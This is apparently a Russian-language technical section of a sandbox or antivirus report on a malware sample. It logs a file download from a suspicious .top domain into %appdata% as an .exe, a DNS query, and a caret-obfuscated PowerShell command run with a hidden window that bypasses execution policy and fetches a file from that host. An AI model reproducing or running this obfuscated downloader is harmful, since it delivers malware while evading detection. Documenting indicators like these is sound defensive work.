Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "POw^E^rsH^E^LL.exe ^-^eX^E^CUt^i^oNp^Ol^icy bypa^Ss ^-No^pR^ofI^le^ -WInd^O^wST^yLE ^h^I^dd^E^n (N^ew^-O^bjeCT sY^s^Tem^.^neT.^WebcLIE^N^T)^.d^OWNL^Oad^F^i^le^('http://www.zonedopesa...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "POw^E^rsH^E^LL.exe ^-^eX^E^CUt^i^oNp^Ol^icy bypa^Ss ^-No^pR^ofI^le^ -WInd^O^wST^yLE ^h^I^dd^E^n (N^ew^-O^bjeCT sY^s^Tem^.^neT.^WebcLIE^N^T)^.d^OWNL^Oad^F^i^le^('http://www.zonedopesa...' (со скрытым окном)